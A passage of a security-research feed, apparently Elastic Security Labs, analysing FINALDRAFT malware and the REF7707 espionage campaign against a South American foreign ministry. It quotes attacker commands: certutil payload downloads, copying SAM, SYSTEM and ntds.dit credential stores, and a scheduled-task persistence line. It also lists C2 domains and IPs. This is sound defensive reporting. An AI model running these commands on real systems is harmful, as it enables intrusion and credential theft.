2023-11-08T09:47:47Z.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image6.png" alt="Domains found in the configuration" /></p> <p>The domains purposely typosquat real known vendors, <strong>CheckPoint</strong> and <strong>Fortinet</strong>, in this case.</p> <table> <thead> <tr> <th align="left">C2</th> </tr> </thead> <tbody> <tr> <td align="left"><code>poster.checkponit[.]com</code></td> </tr> <tr> <td align="left"><code>support.fortineat[.]com</code></td> </tr> </tbody> </table> <p><em>Domain list</em></p> <h3>Shell command</h3> <p>An additional command exists in this sample that is not present in later versions. This command, with ID <code>1</code>, executes a shell command.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image9.png" alt="Shell command handler setup" /></p> <p>The execution is carried out by creating a <code>cmd.exe</code> process with the <code>"/c"</code> parameter, followed by appending the actual command to the parameter.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image60.png" alt="Create piped cmd.exe process" /></p> <h1>Detection</h1> <p>Elastic Defend detects the process injection mechanism through two rules. The first rule detects the <code>WriteProcessMemory</code> API call targeting another process, which is a common behavior observed in process injection techniques.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image42.png" alt="Detecting WriteProcessMemory in FINALDRAFT process injection" /></p> <p>The second rule detects the creation of a remote thread to execute the shellcode.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image35.png" alt="Detection of injected shellcode thread" /></p> <p>We also detect the loading of the PowerShell engine by the <code>Psloader.x64.dll</code> module, which is injected into the known target <code>mspaint.exe</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/finaldraft/image4.png" alt="Detection of PowerShell engine loads" /></p> <h1>Malware and MITRE ATT&CK</h1> <p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p> <h2>Tactics</h2> <ul> <li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li> <li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li> <li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li> <li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li> <li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li> <li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li> </ul> <h2>Techniques</h2> <p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p> <ul> <li><a href="https://attack.mitre.org/techniques/T1102/003/">Web Service: One-Way Communication</a></li> <li><a href="https://attack.mitre.org/techniques/T1573/001/">Encrypted Channel: Symmetric Cryptography</a></li> <li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a></li> <li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li> <li><a href="https://attack.mitre.org/techniques/T1036/003/">Masquerading: Rename System Utilities</a></li> <li><a href="https://attack.mitre.org/techniques/T1055/002/">Process Injection: Portable Executable Injection</a></li> <li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li> <li><a href="https://attack.mitre.org/techniques/T1550/002/">Use Alternate Authentication Material: Pass the Hash</a></li> <li><a href="https://attack.mitre.org/techniques/T1046/">Network Service Discovery</a></li> <li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li> <li><a href="https://attack.mitre.org/techniques/T1012/">Query Registry</a></li> <li><a href="https://attack.mitre.org/techniques/T1567/">Exfiltration Over Web Service</a></li> </ul> <h1>Mitigations</h1> <h2>Detection</h2> <ul> <li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_suspicious_memory_write_to_a_remote_process.toml">Suspicious Memory Write to a Remote Process</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/execution_unusual_powershell_engine_imageload.toml">Unusual PowerShell Engine ImageLoad</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_bypass_via_unbacked_memory.toml">AMSI Bypass via Unbacked Memory</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_or_wldp_bypass_via_memory_patching.toml">AMSI or WLDP Bypass via Memory Patching</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Service</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_execution_via_windows_command_line_debugging_utility.toml">Execution via Windows Command Line Debugging Utility</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml">Suspicious Parent-Child Relationship</a></li> </ul> <h2>YARA</h2> <p>Elastic Security has created the following YARA rules related to this post:</p> <ul> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PathLoader.yar">Windows.Trojan.PathLoader</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_FinalDraft.yar">Windows.Trojan.FinalDraft</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_FinalDraft.yar">Linux.Trojan.FinalDraft</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_FinalDraft.yar">Multi.Trojan.FinalDraft</a></li> </ul> <h1>Observations</h1> <p>The following observables were discussed in this research:</p> <table> <thead> <tr> <th align="left">Observable</th> <th align="left">Type</th> <th align="left">Reference</th> <th align="left">Date</th> </tr> </thead> <tbody> <tr> <td align="left"><code>9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf</code></td> <td align="left">SHA256</td> <td align="left">PATHLOADER</td> <td align="left">VT first seen: 2023-05-09 09:44:45 UTC</td> </tr> <tr> <td align="left"><code>39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530</code></td> <td align="left">SHA256</td> <td align="left">FINALDRAFT initial sample</td> <td align="left">Telemetry first seen: 2024-11-28 20:49:18.646</td> </tr> <tr> <td align="left"><code>83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c</code></td> <td align="left">SHA256</td> <td align="left">FINALDRAFT ELF variant</td> <td align="left">VT first seen: 2024-10-05 07:15:00 UTC</td> </tr> <tr> <td align="left"><code>poster.checkponit[.]com</code></td> <td align="left">domain</td> <td align="left">PATHLOADER/FINALDRAFT domain</td> <td align="left">Creation date: 2022-08-26T09:43:16Z Valid until: 2025-08-26T07:00:00Z</td> </tr> <tr> <td align="left"><code>support.fortineat[.]com</code></td> <td align="left">domain</td> <td align="left">PATHLOADER/FINALDRAFT domain</td> <td align="left">Creation date: 2023-11-08T09:47:47Z Valid until: 2024-11-08T09:47:47.00Z</td> </tr> <tr> <td align="left"><code>support.vmphere[.]com</code></td> <td align="left">domain</td> <td align="left">FINALDRAFT domain</td> <td align="left">Creation date: 2023-09-12T12:35:57Z Valid until: 2025-09-12T12:35:57Z</td> </tr> <tr> <td align="left"><code>update.hobiter[.]com</code></td> <td align="left">domain</td> <td align="left">FINALDRAFT domain</td> <td align="left">Creation date: 2023-09-12T12:35:58Z Valid until: 2025-09-12T12:35:58Z</td> </tr> </tbody> </table> ]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/finaldraft/Security Labs Images 13.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[From South America to Southeast Asia: The Fragile Web of REF7707]]></title> <link>https://www.elastic.co/security-labs/fragile-web-ref7707</link> <guid>fragile-web-ref7707</guid> <pubDate>Thu, 13 Feb 2025 00:00:00 GMT</pubDate> <description><![CDATA[REF7707 targeted a South American foreign ministry using novel malware families. Inconsistent evasion tactics and operational security missteps exposed additional adversary-owned infrastructure.]]></description> <content:encoded><![CDATA[<h2>REF7707 summarized</h2> <p>Elastic Security Labs has been monitoring a campaign targeting the foreign ministry of a South American nation that has links to other compromises in Southeast Asia. We track this campaign as REF7707.</p> <p>While the REF7707 campaign is characterized by a well-engineered, highly capable, novel intrusion set, the campaign owners exhibited poor campaign management and inconsistent evasion practices.</p> <p>The intrusion set utilized by REF7707 includes novel malware families we refer to as FINALDRAFT, GUIDLOADER, and PATHLOADER. We have provided a detailed analysis of their functions and capabilities in the malware analysis report of REF7707 - <a href="https://www.elastic.co/security-labs/finaldraft">You've Got Malware: FINALDRAFT Hides in Your Drafts</a>.</p> <h2>Key takeaways</h2> <ul> <li>REF7707 leveraged novel malware against multiple targets</li> <li>The FINALDRAFT malware has both a Windows and Linux variant</li> <li>REF7707 used an uncommon LOLBin to obtain endpoint execution</li> <li>Heavy use of cloud and third-party services for C2</li> <li>The attackers used weak operational security that exposed additional malware and infrastructure not used in this campaign</li> </ul> <h2>Campaign Overview</h2> <p>In late November 2024, Elastic Security Labs observed a tight cluster of endpoint behavioral alerts occurring at the Foreign Ministry of a South American country. As the investigation continued, we discovered a sprawling campaign and intrusion set that included novel malware, sophisticated targeting, and a mature operating cadence.</p> <p>While parts of the campaign showed a high level of planning and technical competence, numerous tactical oversights exposed malware pre-production samples, infrastructure, and additional victims.</p> <h3>Campaign layout (the diamond model)</h3> <p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leveraging Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a — although cluttered — single diamond.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/fragile-web-ref7707/image1.png" alt="REF7707 - Diamond Model" title="REF7707 - Diamond Model" /></p> <h2>Execution Flow</h2> <h3>Primary execution chain</h3> <p>REF7707 was initially identified through Elastic Security telemetry of a South American nation’s Foreign Ministry. We observed a common LOLBin tactic <a href="https://lolbas-project.github.io/lolbas/Binaries/Certutil/">using Microsoft’s certutil</a> application to download files from a remote server and save them locally.</p> <pre><code>certutil -urlcache -split -f https://[redacted]/fontdrvhost.exe C:\ProgramData\fontdrvhost.exe certutil -urlcache -split -f https://[redacted]/fontdrvhost.rar C:\ProgramData\fontdrvhost.rar certutil -urlcache -split -f https://[redacted]/config.ini C:\ProgramData\config.ini certutil -urlcache -split -f https://[redacted]/wmsetup.log C:\ProgramData\wmsetup.log </code></pre> <p>The web server hosting <code>fontdrvhost.exe</code>, <code>fontdrvhost.rar</code>, <code>config.ini</code>, and <code>wmsetup.log</code> was located within the same organization; however, it was not running the Elastic Agent. This was the first lateral movement observed and provided insights about the intrusion. We’ll discuss these files in more detail, but for now, <code>fontdrvhost.exe</code> is a debugging tool, <code>config.ini</code> is a weaponized INI file, and <code>fontdrvhost.rar</code> was not recoverable.</p> <h4>WinrsHost.exe</h4> <p><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs">Windows Remote Management’s Remote Shell plugin</a> (<code>WinrsHost.exe</code>) was used to download the files to this system from an unknown source system on a connected network. The plugin is the client-side process used by Windows Remote Management. It indicates that attackers already possessed valid network credentials and were using them for lateral movement from a previously compromised host in the environment. How these credentials were obtained is unknown; it is possible that the credentials were obtained from the web server hosting the suspicious files.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/fragile-web-ref7707/image4.png" alt="WinrsHost.exe is used to execute commands" title="WinrsHost.exe is used to execute commands" /></p> <p>The attacker downloaded <code>fontdrvhost.exe</code>, <code>fontdrvhost.rar</code>, <code>config.ini</code>, and <code>wmsetup.log</code> to the <code>C:\ProgramData\</code> directory; from there, the attacker moved to several other Windows endpoints. While we can’t identify all of the exposed credentials, we noted the use of a local administrator account to download these files.</p> <p>Following the downloads from the web server to the endpoint, we saw a cluster of behavioral rules firing in quick succession.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/fragile-web-ref7707/image5.png" alt="Behavioral rules accelerating" title="Behavioral rules accelerating" /></p> <p>On six Windows systems, we observed the execution of an unidentified binary (<code>08331f33d196ced23bb568689c950b39ff7734b7461d9501c404e2b1dc298cc1</code>) as a child of <code>Services.exe</code>. This suspicious binary uses a pseudo-randomly assigned file name consisting of six camel case letters with a <code>.exe</code> extension and is located in the <code>C:\Windows\</code> path (example: <code>C:\Windows\cCZtzzwy.exe</code>). We could not collect this file for analysis, but we infer that this is a variant of <a href="https://www.elastic.co/security-labs/finaldraft">PATHLOADER</a> based on the file size (<code>170,495</code> bytes) and its location. This file was passed between systems using SMB.</p> <h4>FontDrvHost.exe</h4> <p>Once the attacker collected <code>fontdrvhost.exe</code>, <code>fontdrvhost.rar</code>, <code>config.ini</code>, and <code>wmsetup.log</code>, it executed <code>fontdrvhost.exe</code> (<code>cffca467b6ff4dee8391c68650a53f4f3828a0b5a31a9aa501d2272b683205f9</code>) to continue with the intrusion. <code>fontdrvhost.exe</code> is a renamed version of the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options">Windows-signed debugger</a> <code>CDB.exe</code>. Abuse of this binary allowed our attackers to execute malicious shellcode delivered in the <code>config.ini</code> file under the guise of trusted binaries.</p> <p>CDB is a debugger that is over 15 years old. In researching how often it was submitted with suspicious files to VirusTotal, we see increased activity in 2021 and an aggressive acceleration starting in late 2024.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/fragile-web-ref7707/image3.png" alt="VirusTotal submissions and lookups for CDB.exe" title="VirusTotal submissions and lookups for CDB.exe" /></p> <p>CDB is a <a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/">documented LOLBas file</a>, but there hasn’t been much-published research on how it can be abused. Security researcher mrd0x wrote a <a href="https://mrd0x.com/the-power-of-cdb-debugging-tool/">great analysis</a> of CDB outlining how it can be used to run shellcode, launch executables, run DLLs, execute shell commands, and terminate security solutions (and even an <a href="https://web.archive.org/web/20210305190100/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html">older analysis</a> from 2016 using it as a shellcode runner). While not novel, this is an uncommon attack methodology and could be used with other intrusion metadata to link actors across campaigns.</p> <p>While <code>config.ini</code> was not collected for analysis, it contained a mechanism through which <code>fontdrvhost.exe</code> loaded shellcode; how it was invoked is similar to FINALDRAFT.</p> <pre><code>C:\ProgramData\fontdrvhost.exe -cf C:\ProgramData\config.ini -o C:\ProgramData\fontdrvhost.exe </code></pre> <ul> <li><code>-cf</code> - specifies the path and name of a script file. This script file is executed as soon as the debugger is started</li> <li><code>config.ini</code> - this is the script to be loaded</li> <li><code>-o</code> - debugs all processes launched by the target application</li> </ul> <p>Then <code>fontdrvhost.exe</code> spawned <code>mspaint.exe</code> and injected shellcode into it.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/fragile-web-ref7707/image2.png" alt="Shellcode injection into mspaint.exe" title="Shellcode injection into mspaint.exe" /></p> <p>Elastic Security Labs reverse engineers analyzed this shellcode to identify and characterize the FINALDRAFT malware. Finally, <code>fontdrvhost.exe</code> injected additional shellcode into memory (<code>6d79dfb00da88bb20770ffad636c884bad515def4f8e97e9a9d61473297617e3</code>) that was also identified as the FINALDRAFT malware.</p> <p>As described in the <a href="https://www.elastic.co/security-labs/finaldraft">analysis</a> of FINALDRAFT, the malware defaults to <code>mspaint.exe</code> or <code>conhost.exe</code> if no target parameter is provided for an injection-related command.</p> <h3>Connectivity checks</h3> <p>The adversary performed several connectivity tests using the <code>ping.exe</code> command and via PowerShell.</p> <p>Powershell’s <code>Invoke-WebRequest</code> cmdlet is similar to <code>wget</code> or <code>curl,</code> which pulls down the contents of a web resource. This cmdlet may be used to download tooling from the command line, but that was not the case here. These requests in context with several <code>ping</code>s are more likely to be connectivity checks.</p> <p><code>graph.microsoft[.]com</code> and <code>login.microsoftonline[.]com</code> are legitimately owned Microsoft sites that serve API and web GUI traffic for Microsoft’s Outlook cloud email service and other Office 365 products.</p> <ul> <li><code>ping graph.microsoft[.]com</code></li> <li><code>ping www.google[.]com</code></li> <li><code>Powershell Invoke-WebRequest -Uri \"hxxps://google[.]com\</code></li> <li><code>Powershell Invoke-WebRequest -Uri \"hxxps://graph.microsoft[.]com\" -UseBasicParsing</code></li> <li><code>Powershell Invoke-WebRequest -Uri \"hxxps://login.microsoftonline[.]com\" -UseBasicParsing</code></li> </ul> <p><code>digert.ictnsc[.]com</code> and<code> support.vmphere[.]com</code> were adversary-owned infrastructure.</p> <ul> <li><code>ping digert.ictnsc[.]com</code></li> <li><code>Powershell Invoke-WebRequest -Uri \"hxxps://support.vmphere[.]com\" -UseBasicParsing</code></li> </ul> <p>We cover more about these network domains in the infrastructure section below.</p> <h3>Reconnaissance / enumeration / credential harvesting</h3> <p>The adversary executed an unknown script called <code>SoftwareDistribution.txt</code> using the <code>diskshadow.exe</code> utility, extracted the SAM, SECURITY, and SYSTEM Registry hives, and copied the Active Directory database (<code>ntds.dit</code>). These materials primarily contain credentials and credential metadata. The adversary used the 7zip utility to compress the results:</p> <pre><code>diskshadow.exe /s C:\\ProgramData\\SoftwareDistribution.txt cmd.exe /c copy z:\\Windows\\System32\\config\\SAM C:\\ProgramData\\[redacted].local\\SAM /y cmd.exe /c copy z:\\Windows\\System32\\config\\SECURITY C:\\ProgramData\\[redacted].local\\SECURITY /y cmd.exe /c copy z:\\Windows\\System32\\config\\SYSTEM C:\\ProgramData\\[redacted].local\\SYSTEM /y cmd.exe /c copy z:\\windows\\ntds\\ntds.dit C:\\ProgramData\\[redacted].local\\ntds.dit /y 7za.exe a [redacted].local.7z \"C:\\ProgramData\\[redacted].local\\\" </code></pre> <p>The adversary also enumerated information about the system and domain:</p> <pre><code>systeminfo dnscmd . /EnumZones net group /domain C:\\Windows\\system32\\net1 group /domain quser reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID reg query \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\" reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\" </code></pre> <h3>Persistence</h3> <p>Persistence was achieved using a <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create">Scheduled Task</a> that invoked the renamed <code>CDB.exe</code> debugger and the weaponized INI file every minute as <code>SYSTEM</code>. This methodology ensured that FINALDRAFT resided in memory.</p> <pre><code>schtasks /create /RL HIGHEST /F /tn \"\\Microsoft\\Windows\\AppID\\EPolicyManager\" /tr \"C:\\ProgramData\\fontdrvhost.exe -cf C:\\ProgramData\\config.ini -o C:\\ProgramData\\fontdrvhost.exe\" /sc MINUTE /mo 1 /RU SYSTEM </code></pre> <ul> <li><code>schtasks</code> - the Scheduled Task program</li> <li><code>/create</code> - creates a new scheduled task</li> <li><code>/RL HIGHEST</code> - specifies the run level of the job, <code>HIGHEST</code> runs as the highest level of privileges</li> <li><code>/F</code> - suppress warnings</li> <li><code>/tn \\Microsoft\\Windows\\AppID\\EPolicyManager\</code> - task name, attempting to mirror an authentic looking scheduled task</li> <li><code>/tr \"C:\\ProgramData\\fontdrvhost.exe -cf C:\\ProgramData\\config.ini -o C:\\ProgramData\\fontdrvhost.exe\"</code> - task to run, in this case the <code>fontdrvhost.exe</code> commands we covered earlier</li> <li><code>/sc MINUTE</code> - schedule type, <code>MINUTE</code> specifies the to run on minute intervals</li> <li><code>/mo 1</code> - modifier, defines <code>1</code> for the schedule interval</li> <li><code>/RU SYSTEM</code> - defines what account to run as; in this situation, the task will run as the SYSTEM user</li> </ul> <h3>FINALDRAFT Analysis</h3> <p>A technical deep-dive describing the capabilities and architecture of the FINALDRAFT and PATHLOADER malware is available <a href="https://www.elastic.co/security-labs/finaldraft">here</a>. At a high level, FINALDRAFT is a well-engineered, full-featured remote administration tool with the ability to accept add-on modules that extend functionality and proxy network traffic internally by multiple means.</p> <p>Although FINALDRAFT can establish command and control using various means, the most notable are the means we observed in our victim environment, <a href="https://www.elastic.co/security-labs/finaldraft#communication-protocol">abuse of Microsoft’s Graph API</a>. We first observed this type of third-party C2 in <a href="https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">SIESTAGRAPH</a>, which we reported in December 2022.</p> <p>This command and control type is challenging for defenders of organizations that heavily depend on network visibility to catch. Once the initial execution and check-in have been completed, all further communication proceeds through legitimate Microsoft infrastructure (<code>graph.microsoft[.]com</code>) and blends in with the other organizational workstations. It also supports relay functionality that enables it to proxy traffic for other infected systems. It evades defenses reliant on network-based intrusion detection and threat-intelligence indicators.</p> <h4>PATHLOADER and GUIDLOADER</h4> <p>Both PATHLOADER and GUIDLOADER are used to download and execute encrypted shellcodes in memory. They were discovered in VirusTotal while investigating the C2 infrastructure and strings identified within a FINALDRAFT memory capture. They have only been observed in association with FINALDRAFT payloads.</p> <p>A May 2023 sample in VirusTotal is the earliest identified binary of the REF7707 intrusion set. This sample was first submitted by a web user from Thailand, <code>dwn.exe</code> (<code>9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf</code>) is a PATHLOADER variant that loads an encrypted FINALDRAFT binary from<code> poster.checkponit[.]com</code> and <code>support.fortineat[.]com</code>.</p> <p>Between June and August of 2023, a Hong Kong VirusTotal web user uploaded <a href="https://www.virustotal.com/gui/search/41a3a518cc8abad677bb2723e05e2f052509a6f33ea75f32bd6603c96b721081%250Ad9fc1cab72d857b1e4852d414862ed8eab1d42960c1fd643985d352c148a6461%250Af29779049f1fc2d45e43d866a845c45dc9aed6c2d9bbf99a8b1bdacfac2d52f2%250A17b2c6723c11348ab438891bc52d0b29f38fc435c6ba091d4464f9f2a1b926e0%250A20508edac0ca872b7977d1d2b04425aaa999ecf0b8d362c0400abb58bd686f92%250A33f3a8ef2c5fbd45030385b634e40eaa264acbaeb7be851cbf04b62bbe575e75%250A41141e3bdde2a7aebf329ec546745149144eff584b7fe878da7a2ad8391017b9%250A49e383ab6d092ba40e12a255e37ba7997f26239f82bebcd28efaa428254d30e1%250A5e3dbfd543909ff09e343339e4e64f78c874641b4fe9d68367c4d1024fe79249%250A7cd14d3e564a68434e3b705db41bddeb51dbb7d5425fd901c5ec904dbb7b6af0%250A842d6ddb7b26fdb1656235293ebf77c683608f8f312ed917074b30fbd5e8b43d%250Af90420847e1f2378ac8c52463038724533a9183f02ce9ad025a6a10fd4327f12?type=files">12 samples of GUIDLOADER</a>. These samples each had minor modifications to how the encrypted payload was downloaded and were configured to use FINALDRAFT domains:</p> <ul> <li><code>poster.checkponit[.]com</code></li> <li><code>support.fortineat[.]com</code></li> <li>Google Firebase (<code>firebasestorage.googleapis[.]com</code>)</li> <li>Pastebin (<code>pastebin[.]com</code>)</li> <li>A Southeast Asian University public-facing web storage system</li> </ul> <p>Some samples of GUIDLOADER appear unfinished or broken, with non-functional decryption routines, while others contain debug strings embedded in the binary. These variations suggest that the samples were part of a development and testing process.</p> <h4>FINALDRAFT bridging OS’</h4> <p>In late 2024, two Linux ELF FINALDRAFT variants were uploaded to VirusTotal, one from the United States and one from Brazil. These samples feature similar C2 versatility and a partial reimplementation of the commands available in the Windows version. URLs were pulled from these files for <code>support.vmphere[.]com</code>, <code>update.hobiter[.]com</code>, and <code>pastebin.com</code>.</p> <h2>Infrastructure Analysis</h2> <p>In the <a href="https://www.elastic.co/security-labs/finaldraft">FINALDRAFT malware analysis report</a>, several domains were identified in the samples collected in the REF7707 intrusion, and other samples were identified through code similarity.</p> <h3>Service banner hashes</h3> <p>A Censys search for <code>hobiter[.]com</code> (the domain observed in the ELF variant of FINALDRAFT, discussed in the previous section) returns an IP address of <code>47.83.8.198</code>. This server is Hong Kong-based and is serving ports <code>80</code> and <code>443</code>. The string “<code>hobiter[.]com</code>” is associated with the TLS certificate on port <code>443</code>. A Censys query pivot on the service banner hash of this port yields six additional servers that share that hash (seven total).</p> <table> <thead> <tr> <th>IP</th> <th>TLS Cert names</th> <th>Cert CN</th> <th>ports</th> <th>ASN</th> <th>GEO</th> </tr> </thead> <tbody> <tr> <td><code>47.83.8.198</code></td> <td>*.hobiter[.]com</td> <td>CloudFlare Origin Certificate</td> <td><code>80</code>, <code>443</code></td> <td><code>45102</code></td> <td>Hong Kong</td> </tr> <tr> <td><code>8.218.153.45</code></td> <td>*.autodiscovar[.]com</td> <td>CloudFlare Origin Certificate</td> <td><code>53</code>, <code>443</code>, <code>2365</code>, <code>3389</code>, <code>80</code></td> <td><code>45102</code></td> <td>Hong Kong</td> </tr> <tr> <td><code>45.91.133.254</code></td> <td>*.vm-clouds[.]net</td> <td>CloudFlare Origin Certificate</td> <td><code>443</code>, <code>3389</code></td> <td><code>56309</code></td> <td>Nonthaburi, Thailand</td> </tr> <tr> <td><code>8.213.217.182</code></td> <td>*.ictnsc[.]com</td> <td>CloudFlare Origin Certificate</td> <td><code>53</code>, <code>443</code>, <code>3389</code>, <code>80</code></td> <td><code>45102</code></td> <td>Bangkok, Thailand</td> </tr> <tr> <td><code>47.239.0.216</code></td> <td>*.d-links[.]net</td> <td>CloudFlare Origin Certificate</td> <td><code>80</code>, <code>443</code></td> <td><code>45102</code></td> <td>Hong Kong</td> </tr> <tr> <td><code>203.232.112.186</code></td> <td>[NONE]</td> <td>[NONE]</td> <td><code>80</code>, <code>5357</code>, <code>5432</code>, <code>5985</code>, <code>8000</code>, <code>8080</code>, <code>9090</code>, <code>15701</code>, <code>15702</code>, <code>15703</code>, <code>33990</code> <code>47001</code></td> <td><code>4766</code></td> <td>Daejeon, South Korea</td> </tr> <tr> <td><code>13.125.236.162</code></td> <td>[NONE]</td> <td>[NONE]</td> <td><code>80</code>, <code>3389</code>, <code>8000</code>, <code>15111</code>, <code>15709</code>, <code>19000</code></td> <td><code>16509</code></td> <td>Incheon, South Korea</td> </tr> </tbody> </table> <p>Two servers (<code>203.232.112[.]186</code> and <code>13.125.236[.]162</code>) do not share the same profile as the other five. While the service banner hash still matches, it is not on port <code>443</code>, but on ports <code>15701</code>,<code> 15702</code>, <code>15703</code>, and <code>15709</code>. Further, the ports in question do not appear to support TLS communications. We have not attributed them to REF7707 with a high degree of confidence but are including them for completeness.</p> <p>The other five servers, including the original “hobiter” server, share several similarities:</p> <ul> <li>Service banner hash match on port <code>443</code></li> <li>Southeast Asia geolocations</li> <li>Windows OS</li> <li>Cloudflare issued TLS certs</li> <li>Most have the same ASN belonging to Alibaba</li> </ul> <h4>Hobiter and VMphere</h4> <p><code>update.hobiter[.]com</code> and<code> support.vmphere[.]com</code> were found in an ELF binary (<a href="https://www.virustotal.com/gui/file/f45661ea4959a944ca2917454d1314546cc0c88537479e00550eef05bed5b1b9">biosets.rar</a>) from December 13, 2024. Both domains were registered over a year earlier, on September 12, 2023. This ELF binary features similar C2 versatility and a partial reimplementation of the commands available in the Windows version of FINALDRAFT.</p> <p>A name server lookup of <code>hobiter[.]com</code> and <code>vmphere[.]com</code> yields only a Cloudflare name server record for each and no A records. Searching for their known subdomains provides us with A records pointing to Cloudflare-owned IP addresses.</p> <h4>ICTNSC</h4> <p><code>ictnsc[.]com</code> is directly associated with the REF7707 intrusion above from a connectivity check (<code>ping digert.ictnsc[.]com</code>) performed by the attackers. The server associated with this domain (<code>8.213.217[.]182</code>) was identified through the Censys service banner hash on the HTTPS service outlined above. Like the other identified infrastructure, the subdomain resolves to Cloudflare-owned IP addresses, and the parent domain only has a Cloudflare NS record. <code>ictnsc[.]com</code> was registered on February 8, 2023.</p> <p>While we cannot confirm the association as malicious, it should be noted that the domain <code>ict.nsc[.]ru</code> is the Federal Research Center for Information and Computational Technologies web property, often referred to as the FRC or the ICT. This Russian organization conducts research in various areas like computer modeling, software engineering, data processing, artificial intelligence, and high-performance computing.</p> <p>While not observed in the REF7707 intrusion, the domain we observed (<code>ictnsc[.]com</code>) has an <code>ict</code> subdomain (<code>ict.ictnsc[.]com</code>), which is strikingly similar to <code>ict.nsc[.]ru</code>. Again, we cannot confirm if they are related to the legitimate FRC or ITC, it seems the threat actor intended for the domains to be similar, conflated, or confused with each other.</p> <h4>Autodiscovar</h4> <p><code>Autodiscovar[.]com</code> has not been directly associated with any FINALDRAFT malware. It has been indirectly associated with REF7707 infrastructure through pivots on web infrastructure identifiers. The parent domain only has a Cloudflare NS record. A subdomain <a href="https://www.virustotal.com/gui/domain/autodiscovar.com/relations">identified through VirusTotal</a> (<code>cloud.autodiscovar[.]com</code>) points to Cloudflare-owned IP addresses. This domain name resembles other FINALDRAFT and REF7707 web infrastructure and shares the HTTPS service banner hash. This domain was registered on August 26, 2022.</p> <h4>D-links and VM-clouds</h4> <p><code>d-links[.]net</code> and <code>vm-clouds[.]net</code> were both registered on September 12, 2023, the same day as <code>hobiter[.]com</code> and <code>vmphere[.]com</code>. The servers hosting these sites also share the same HTTPS service banner hash. They are not directly associated with the FINALDRAFT malware nor have current routable subdomains, though <code>pol.vm-clouds[.]net</code> was previously registered.</p> <h4>Fortineat</h4> <p><code>support.fortineat[.]com</code> was hard-coded in the PATHLOADER sample (<code>dwn.exe</code>). During our analysis of the domain, we discovered that it was not currently registered. To identify any other samples communicating with the domain, our team registered this domain and configured a web server to listen for incoming connections.</p> <p>We recorded connection attempts over port <code>443</code>, where we identified a specific incoming byte pattern. The connections were sourced from eight different telecommunications and Internet infrastructure companies in Southeast Asia, indicating possible victims of the REF7707 intrusion set.</p> <h4>Checkponit</h4> 